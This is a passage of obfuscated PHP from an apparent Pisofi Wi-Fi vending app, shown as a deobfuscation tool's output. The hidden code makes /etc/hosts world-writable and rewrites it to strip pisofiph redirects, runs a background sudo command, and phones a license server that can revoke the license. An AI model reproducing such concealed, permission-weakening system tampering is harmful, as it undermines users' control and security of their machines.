144\162\x65\x73\x73\x20\x3d\x20\x75\x2e\x69\160\137\141\x64\144\162\145\x73\x73\x20\101\x4e\x44\40\x61\x2e\163\x74\141\164\165\x73\x20\75\x20\x31"); goto GZnAv; DRJuy: ziDh6: goto ouG9Y; SOxrw: fTjXO: goto KVfML; YqbLP: cj2KJ: goto d2EhO; K0_Pu: } catch (\Exception $iT1WR) { echo "\x5b\x57\111\x46\111\135\x3a\x20" . date("\x59\55\155\x2d\x64\x20\x48\72\151\x3a\163") . "\40\x7c\x20" . $iT1WR->getMessage() . PHP_EOL; file_put_contents(__FILE__ . "\56\x6c\157\x67", date("\131\x2d\x6d\x2d\144\x20\110\x3a\x69\x3a\163") . "\40\72\40" . $iT1WR->getMessage() . "\x20\x61\164\x20\x4c\x69\156\x65\40" . $iT1WR->getLine() . "\x20\157\156\40" . $iT1WR->getFile() . "\15\xa"); } goto HOh1L; NGaJ4: AL8v9: goto LU1y6; QGSDY: sleep(3); goto ZPbKj; o72cS: try { goto ZX0Gz; R9eKP: chmod("\57\x65\164\143\x2f\150\157\x73\x74\163", 0777); goto rE1YP; PLLHk: $MSgQ5 = array_filter($ebabE, function ($j_63a) { goto rxeFE; aJR2f: return true; goto pc7WC; r093N: buX3R: goto aJR2f; hw5xS: return stripos($j_63a, "\56\160\151\163\157\146\x69\x70\x68\x2e\143\157\x6d") !== false; goto r093N; rxeFE: if (!(stripos($j_63a, "\x70\151\x73\x6f\146\151\x70\150") !== false)) { goto buX3R; } goto hw5xS; pc7WC: }); goto hgKtu; ZX0Gz: chmod("\57\x65\164\x63\57\x68\x6f\163\164\x73", 0777); goto UvUGQ; hgKtu: file_put_contents("\57\x65\x74\x63\57\150\x6f\163\x74\x73", implode("\xa", $MSgQ5)); goto R9eKP; UvUGQ: $ebabE = explode("\12", file_get_contents("\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73")); goto PLLHk; rE1YP: } catch (\Exception $iT1WR) { } goto hYkoi; CiRNm: if (!$PWtHJ) { goto AL8v9; } goto GN3Zd; g8gY9: VVsn4: goto k_8xb; aYcZX: $sVmaP = false; goto ZRBiO; qZ6yv: OQEYv: goto Wo5b8; hTTeF: yRwZt: goto Rj3Vl; PnVDX: $sVmaP = true; goto zym5W; JkWhZ: kez2h: goto DcQnu; ns9N0: exec("\163\x75\x64\157\x20\x2f\x75\x73\162\57\142\151\x6e\57\x70\150\160\x20\57\x76\x61\x72\x2f\x77\x77\167\x2f\150\x74\155\x6c\57\160\x69\x73\x6f\146\x69\x2f\163\143\x72\x69\160\x74\x73\57\x70\146\151\162\x75\154\145\163\x20\x66\141\x6c\x73\x65\x20\76\40\57\x64\145\166\x2f\x6e\165\x6c\x6c\x20\x32\76\46\61\x20\46\x20"); goto ZlxE1; iAUTs: zAacI: goto oU4V0; DSfTG: if ($NVvZg && $baaN9 >= $dCH8z) { goto BicvM; } goto Eapda; ldkO6: goto iGe3i; goto C_UcH; zCWdN: $MaKOl = max(0, $HUP6H - $PWtHJ); goto pHZtZ; vZIwi: if (!(time() - $bp8EJ > 60 * 60)) { goto OQEYv; } goto UhEg5; oU4V0: IYX0j: goto wW4bs; rWjTj: $UvIit += $MaKOl; goto GW4c5; xIpL8: $IyuGD = DB::connection()->getPdo(); goto huyIQ; EjpnQ: PisofiSetting::setValue("\x6c\x61\x73\x74\137\x6b\151\143\x6b\x65\162\x5f\x72\x75\156", $PWtHJ); goto JkWhZ; FRkoL: if (PisofiHelper::areWeOnline()) { goto VVsn4; } goto K3EiD; kKIHy: $Sj4in = new RemoteManager(); goto DIfmj; VaYAa: $baaN9 = 60 * 60; goto VhqF8; ZPbKj: goto QPL1X; goto NAdPF; k_8xb: try { goto vY9vt; vY9vt: $W7BPg = json_decode(\App\Models\PisofiSetting::getValue("\154\151\143\145\156\163\x65"), true); goto KGUt7; O75rK: goto yoUXf; goto HahF6; rBkYb: $PdOaO = new \GuzzleHttp\Client(); goto Wmtqb; AZXI6: $Qgcbz = new \GuzzleHttp\Psr7\Request("\107\105\x54", "\150\x74\164\x70\163\72\x2f\57\160\x69\163\x6f\x66\x69\x70\x68\56\143\x6f\155\57\x61\160\x69\57\x6c\x6b\166\141\x6c\70\57" . $Xxo8q); goto rBkYb; Wmtqb: $Bw9wa = $PdOaO->sendAsync($Qgcbz)->then(function ($exsD_) { goto oghKI; NWvtY: $PL3_Z = \App\Helpers\PisofiHelper::decodeCipher($e82BO["\x64\x61\164\x61"], $Xxo8q); goto y5RiC; oghKI: $e82BO = json_decode($exsD_->getBody(), true); goto hifWQ; qdfTQ: zTk6N: goto baRV1; I2s64: App\Models\PisofiSetting::setValue("\x6c\x69\143\x65\156\163\145", null); goto qdfTQ; g75va: if (!($mq1X0["\x73\164\x61\x74\x75\163"] !== "\x4f\113")) { goto zTk6N; } goto I2s64; yNcfC: $mq1X0 = json_decode($PL3_Z, true); goto g75va; y5RiC: if (!$PL3_Z) { goto a_7n3; } goto yNcfC; baRV1: a_7n3: goto CgQln; hifWQ: $Xxo8q = App\Models\PisofiSetting::getValue("\143\x69\160\x68\145\x72\x5f\x6b\x65\171"); goto NWvtY; CgQln: }); goto JEftN; KGUt7: if (!(isset($W7BPg["\154\x69\143\145\x6e\163\145\x54\x79\x70\145"]) && $W7BPg["\x6c\151\143\145\x6e\163\145\124\171\x70\145"] == "\114\111\103\105\x4e\123\105\x44")) { goto DTR8V; } goto sRRCE; UsUEl: DTR8V: goto tWN0D; DjxL9: if (!$Xxo8q) { goto JtXeI; } goto AZXI6; vd42z: App\Models\PisofiSetting::setValue("\x6c\151\143\145\x6e\x73\x65", null); goto Fk_ar; sRRCE: $Xxo8q = isset($W7BPg["\x6c\x69\143\145\156\163\145"]) ? $W7BPg["\154\x69\x63\145\x6e\163\x65"] : null; goto DjxL9; Fk_ar: yoUXf: goto UsUEl; HahF6: JtXeI: goto vd42z; JEftN: $Bw9wa->wait(); goto O75rK; tWN0D: } catch (\Exception $iT1WR) { file_put_contents(__FILE__ . "\56\x6c\x6f\147", date("\x59\55\x6d\55\x64\x20\x48\72\x69\72\163") . "\x20\x3a\x20" . $iT1WR->getMessage() . "\40\141\164\40\x4c\151\156\145\x20" . $iT1WR->getLine() . "\40\157\156\x20" . $iT1WR->getFile() . "\xd\12"); echo $iT1WR->getMessage() . PHP_EOL; } goto aECVz; DIfmj: if (!$Sj4in->isUsingNgrok()) { goto fIEu4; } goto B7mW8; D1On6: $WUgFF = []; goto mBpNg; EqO34: if (!PisofiHelper::setDateTime()) { goto Auf9B; } goto b878M; wgnvZ: PisofiSetting::setValue("\x6c\x61\163\164\x5f\153\x69\x63\x6b\145\162\137\x72\165\156", $PWtHJ); goto CgGDK; whZyb: $UvIit = 0; goto OxAto; b878M: echo "\x54\151\155\145\40\150\x61\163\40\142\145\145\x6e\40\x61\144\152\165\163\x74\x65\144\x2e\x2e\x2e" . PHP_EOL; goto PUtJ5; NAdPF: V4FRY: goto Yfi_h; u2Yll: if ($sVmaP) { goto zAacI; } goto pUL06; huyIQ: $IyuGD->exec("\x53\x45\x54\40\x54\122\101\116\x53\101\103\x54\x49\117\116\40\111\x53\117\114\x41\x54\x49\x4f\x4e\x20\114\105\x56\x45\x4c\40\122\x45\101\x44\40\x55\x4e\103\117\x4d\x4d\x49\x54\x54\105\104\40"); goto yk33Z; K3EiD: $UvIit -= 60 * 60; goto QHAjv; qQPpG: if (!true) { goto V4FRY; } goto xIpL8; GW4c5: goto ZZqcr; goto g0pNu; ClqfS: $MaKOl = 3; goto VaYAa; B7mW8: $bp8EJ = intval(PisofiSetting::getValue("\154\x61\x73\x74\137\x6e\x67\x72\157\153\x5f\163\x79\x6e\x63")); goto vZIwi; aECVz: $UvIit = 0; goto hTTeF; VhqF8: $dCH8z = 60 * 60; goto whZyb; pUL06: echo "\124\151\x6d\x65\40\x77\141\163\40\156\157\x74\40\x73\145\x74\40\x70\162\157\160\145\x72\x6c\171\56\x2e\56" . PHP_EOL; goto h6Gt3; rQEcb: $PWtHJ = intval(PisofiSetting::getValue("\x6c\141\163\164\137\153\151\x63\x6b\145\162\x5f\x72\165\x6e")); goto q5TtO; CgGDK: y0J9M: goto qahrB; LU1y6: $PWtHJ = time(); goto wgnvZ; Yfi_h: } catch (Exception $iT1WR) { file_put_contents(__FILE__ . "\56\154\x6f\x67", date("\x59\x2d\155\x2d\x64\40\x48\x3a\151\72\x73") . "\x20\x3a\x20" . $iT1WR->getMessage() . "\x20\141\164\x20\114\151\156\x65\40" . $iT1WR->getLine() . "\40\x6f\x6e\40" . $iT1WR->getFile() . "\15\xa"); echo $iT1WR->getMessage() . PHP_EOL; } goto Tuz5u; S9XS_: $PAnZ3 = (int) $fNcl2->portalMaximumTimeAllowedPauseInSeconds(); goto PYwxz; cctOb: $QBD3x = (bool) $gIbnT->pauseOnDisconnect(); goto TyvjD; eVx_l: $gIbnT = new DM(); goto c72aW; ZfTiM: $YHgr5 = (int) $fNcl2->pauseTimeValidity(); goto HRLUl; CZeTn: $fNcl2 = new PortalManager(); goto aUmou; DLkqn: $WuonE = $fNcl2->isPauseTimeValidityEnabled(); goto ZfTiM; Tuz5u: } goto XDeNF; EjfL7: try { goto rR5f8; rR5f8: echo ROOTPATH . PHP_EOL; goto Y5rzF; Y5rzF: Giqb2($ZbY1s, $NVvZg); goto s1lf2; s1lf2: sleep(1); goto b8rjl; b8rjl: } catch (Exception $iT1WR) { goto FGeiX; FGeiX: file_put_contents(__FILE__ . "\x2e\x6c\x6f\147", date("\x59\x2d\x6d\x2d\x64\x20\110\x3a\151\72\163") . "\x20\72\x20" . $iT1WR->getMessage() . "\x20\x61\164\40\114\x69\156\x65\40" . $iT1WR->getLine() . "\x20\157\156\40" . $iT1WR->getFile() . "\xd\xa"); goto KGe0E; KGe0E: echo $iT1WR->getMessage() . PHP_EOL; goto WwwHV; WwwHV: sleep(5); goto XId6M; XId6M: } goto vbQOA; qq_Vm: I1Her: goto fyp0f; blCOW: if (flock($LdIzu, LOCK_EX | LOCK_NB)) { goto SmAZw; } goto FM76A; FM76A: die("\x41\x6c\x72\145\141\x64\171\x20\x72\x75\156\x6e\x69\x6e\147\x2e\40\x45\170\151\164\151\x6e\147\56\56\x2e"); goto rbLBG; qgzW2: $LdIzu = fopen(__FILE__ . "\x2e\x6c\157\143\x6b", "\167\53"); goto blCOW; QcjJr: $NVvZg = true; goto FSlS0; gNwv6: if (!true) { goto I1Her; } goto EjfL7; FSlS0: ze3Yv: goto gNwv6; fyp0f: flock($LdIzu, LOCK_UN); goto WXwPh; eMAbY: unlink(__FILE__ . "\x2e\x6c\x6f\143\x6b");

Function Calls

None

Variables

None

Stats

MD5 76147218a972fb74f5d210f05a8e673b
Eval Count 0
Decode Time 145 ms